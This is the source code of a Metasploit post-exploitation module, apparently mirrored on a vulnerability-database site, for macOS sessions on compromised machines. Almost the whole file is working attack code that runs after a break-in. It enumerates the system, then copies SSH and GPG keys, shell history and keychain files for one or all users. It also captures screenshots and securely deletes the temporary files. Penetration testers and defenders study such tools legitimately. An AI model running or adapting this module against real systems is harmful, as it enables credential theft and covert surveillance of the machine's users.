##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OS X Gather Mac OS X System Information Enumeration',
'Description' => %q{
This module gathers basic system information from Mac OS X Tiger (10.4), through
Mojave (10.14).
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'osx' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
)
)
end
# Run Method for when run command is issued
def run
case session.type
when /meterpreter/
host = sysinfo['Computer']
when /shell/
host = cmd_exec('hostname')
end
print_status("Running module against #{host}")
if is_root?
print_status('This session is running as root!')
end
ver_num = get_ver
log_folder = log_folder_create
enum_conf(log_folder)
enum_accounts(log_folder, ver_num)
get_crypto_keys(log_folder)
screenshot(log_folder, ver_num)
dump_bash_history(log_folder)
get_keychains(log_folder)
end
# parse the dslocal plist in lion
def read_ds_xml_plist(plist_content)
require 'rexml/document'
doc = REXML::Document.new(plist_content)
keys = []
doc.elements.each('plist/dict/key') do |element|
keys << element.text
end
fields = {}
i = 0
doc.elements.each('plist/dict/array') do |element|
data = []
fields[keys[i]] = data
element.each_element('*') do |thing|
data_set = thing.text
if data_set
data << data_set.gsub("\n\t\t", '')
else
data << data_set
end
end
i += 1
end
return fields
end
# Function for creating the folder for gathered data
def log_folder_create(log_path = nil)
# Get hostname
case session.type
when /meterpreter/
host = Rex::FileUtils.clean_path(sysinfo['Computer'])
when /shell/
host = Rex::FileUtils.clean_path(cmd_exec('hostname'))
end
# Create Filename info to be appended to downloaded files
file_name_info = '_' + ::Time.now.strftime('%Y%m%d.%M%S')
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'enum_osx', host + file_name_info)
else
logs = ::File.join(Msf::Config.log_directory, 'post', 'enum_osx', host + file_name_info)
end
# Create the log directory
::FileUtils.mkdir_p(logs)
return logs
end
# Checks if the target is OSX Server
def check_server
# Get the OS Name
cmd_exec('/usr/bin/sw_vers', '-productName') =~ /Server/
end
# Enumerate the OS Version
def get_ver
# Get the OS Version
cmd_exec('/usr/bin/sw_vers', '-productVersion')
end
def enum_conf(log_folder)
profile_datatypes = {
'OS' => 'SPSoftwareDataType',
'Network' => 'SPNetworkDataType',
'Bluetooth' => 'SPBluetoothDataType',
'Ethernet' => 'SPEthernetDataType',
'Printers' => 'SPPrintersDataType',
'USB' => 'SPUSBDataType',
'Airport' => 'SPAirPortDataType',
'Firewall' => 'SPFirewallDataType',
'Known Networks' => 'SPNetworkLocationDataType',
'Applications' => 'SPApplicationsDataType',
'Development Tools' => 'SPDeveloperToolsDataType',
'Frameworks' => 'SPFrameworksDataType',
'Logs' => 'SPLogsDataType',
'Preference Panes' => 'SPPrefPaneDataType',
'StartUp' => 'SPStartupItemDataType'
}
shell_commands = {
'TCP Connections' => ['/usr/sbin/netstat', '-np tcp'],
'UDP Connections' => ['/usr/sbin/netstat', '-np udp'],
'Environment Variables' => ['/usr/bin/printenv', ''],
'Last Boottime' => ['/usr/bin/who', '-b'],
'Current Activity' => ['/usr/bin/who', ''],
'Process List' => ['/bin/ps', '-ea']
}
print_status("Saving all data to #{log_folder}")
# Enumerate first using System Profiler
profile_datatypes.each do |name, profile_datatypes|
print_status("\tEnumerating #{name}")
returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}")
# Save data lo log folder
file_local_write(log_folder + "//#{name}.txt", returned_data)
end
# Enumerate using system commands
shell_commands.each do |name, command|
print_status("\tEnumerating #{name}")
command_output = cmd_exec(command[0], command[1])
# Save data lo log folder
begin
file_local_write(log_folder + "//#{name}.txt", command_output)
rescue StandardError
print_error("failed to run #{name}")
end
end
end
def enum_accounts(log_folder, ver_num)
# Specific commands for Leopard and Snow Leopard
leopard_commands = {
'Users' => ['/usr/bin/dscacheutil', '-q user'],
'Groups' => ['/usr/bin/dscacheutil', '-q group']
}
# Specific commands for Tiger
tiger_commands = {
'Users' => ['/usr/sbin/lookupd', '-q user'],
'Groups' => ['/usr/sbin/lookupd', '-q group']
}
if ver_num =~ /10\.(7|6|5)/
shell_commands = leopard_commands
else
shell_commands = tiger_commands
end
shell_commands.each do |name, command|
print_status("\tEnumerating #{name}")
command_output = cmd_exec(command[0], command[1])
# Save data lo log folder
file_local_write(log_folder + "//#{name}.txt", command_output)
end
end
# Method for getting SSH and GPG Keys
def get_crypto_keys(log_folder)
# Run commands according to the session type
if session.type =~ /shell/
# Enumerate and retreave files according to privilege level
if !is_root?
# Enumerate the home folder content
home_folder_list = cmd_exec('/bin/ls -ma ~/').split(', ')
# Check for SSH folder and extract keys if found
if home_folder_list.include?("\.ssh")
print_status('.ssh Folder is present')
ssh_folder = cmd_exec('/bin/ls -ma ~/.ssh').split(', ')
ssh_folder.each do |k|
next if k =~ /^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
ssh_file_content = cmd_exec("/bin/cat ~/.ssh/#{k}")
# Save data lo log folder
file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)
end
end
# Check for GPG and extract keys if found
if home_folder_list.include?("\.gnupg")
print_status('.gnupg Folder is present')
gnugpg_folder = cmd_exec('/bin/ls -ma ~/.gnupg').split(', ')
gnugpg_folder.each do |k|
next if k =~ /^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
gpg_file_content = cmd_exec("/bin/cat ~/.gnupg/#{k.strip}")
# Save data lo log folder
file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", gpg_file_content)
end
end
else
users = []
users_folder = cmd_exec('/bin/ls', '/Users')
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
users.each do |u|
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')
next unless user_folder.include?("\.ssh")
print_status(".ssh Folder is present for #{u}")
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").split(', ')
ssh_folder.each do |k|
next if k =~ /^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.ssh/#{k}")
# Save data lo log folder
file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)
end
end
users.each do |u|
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')
next unless user_folder.include?("\.ssh")
print_status(".gnupg Folder is present for #{u}")
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").split(', ')
ssh_folder.each do |k|
next if k =~ /^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.gnupg/#{k}")
# Save data lo log folder
file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)
end
end
end
end
end
# Method for capturing screenshot of targets
def screenshot(log_folder, ver_num)
if ver_num =~ /10\.(7|6|5)/
print_status('Capturing screenshot')
picture_name = ::Time.now.strftime('%Y%m%d.%M%S')
if is_root?
print_status('Capturing screenshot for each loginwindow process since privilege is root')
if session.type =~ /shell/
loginwindow_pids = cmd_exec("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n")
loginwindow_pids.each do |pid|
print_status("\tCapturing for PID:#{pid}")
cmd_exec("/bin/launchctl bsexec #{pid} /usr/sbin/screencapture -x /tmp/#{pid}.jpg")
file_local_write(log_folder + "//screenshot_#{pid}.jpg",
cmd_exec("/bin/cat /tmp/#{pid}.jpg"))
cmd_exec("/usr/bin/srm -m -z /tmp/#{pid}.jpg")
end
end
else
cmd_exec('/usr/sbin/screencapture', "-x /tmp/#{picture_name}.jpg")
file_local_write(log_folder + '//screenshot.jpg',
cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))
cmd_exec('/usr/bin/srm', "-m -z /tmp/#{picture_name}.jpg")
end
print_status('Screenshot Captured')
end
end
def dump_bash_history(log_folder)
print_status('Extracting history files')
users = []
users_folder = cmd_exec('/bin/ls', '/Users')
current_user = cmd_exec('/usr/bin/id', '-nu')
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
# If we are root lets get root for when sudo was used and all users
if current_user == 'root'
# Check the root user folder
root_folder = cmd_exec('/bin/ls -ma ~/').split(', ')
root_folder.each do |f|
next unless f =~ /\.\w*_history/
print_status("\tHistory file #{f.strip} found for root")
print_status("\tDownloading #{f.strip}")
sh_file = cmd_exec("/bin/cat ~/#{f.strip}")
# Save data lo log folder
file_local_write(log_folder + "//root_#{f.strip}.txt", sh_file)
end
# Getting the history files for all users
users.each do |u|
# Lets get a list of all the files on the users folder and place them in an array
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')
user_folder.each do |f|
next unless f =~ /\.\w*_history/
print_status("\tHistory file #{f.strip} found for #{u}")
print_status("\tDownloading #{f.strip}")
sh_file = cmd_exec("/bin/cat /Users/#{u}/#{f.strip}")
# Save data lo log folder
file_local_write(log_folder + "//#{u}_#{f.strip}.txt", sh_file)
end
end
else
current_user_folder = cmd_exec('/bin/ls -ma ~/').split(', ')
current_user_folder.each do |f|
next unless f =~ /\.\w*_history/
print_status("\tHistory file #{f.strip} found for #{current_user}")
print_status("\tDownloading #{f.strip}")
sh_file = cmd_exec("/bin/cat ~/#{f.strip}")
# Save data lo log folder
file_local_write(log_folder + "//#{current_user}_#{f.strip}.txt", sh_file)
end
end
end
# Download configured Keychains
def get_keychains(log_folder)
users = []
users_folder = cmd_exec('/bin/ls', '/Users')
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
if is_root?
users.each do |u|
print_status("Enumerating and Downloading keychains for #{u}")
keychain_files = cmd_exec("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n")
keychain_files.each do |k|
keychain_file = cmd_exec("/bin/cat #{k.strip}")
# Save data lo log folder
file_local_write(log_folder + "//#{u}#{k.strip.gsub(/\W/, '_')}", keychain_file)
end
end
else
current_user = cmd_exec('/usr/bin/id -nu')
print_status("Enumerating and Downloading keychains for #{current_user}")
keychain_files = cmd_exec('/usr/bin/security list-keychains').split("\n")
keychain_files.each do |k|
keychain_file = cmd_exec("/bin/cat #{k.strip}")
# Save data lo log folder
file_local_write(log_folder + "//#{current_user}#{k.strip.gsub(/\W/, '_')}", keychain_file)
end
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation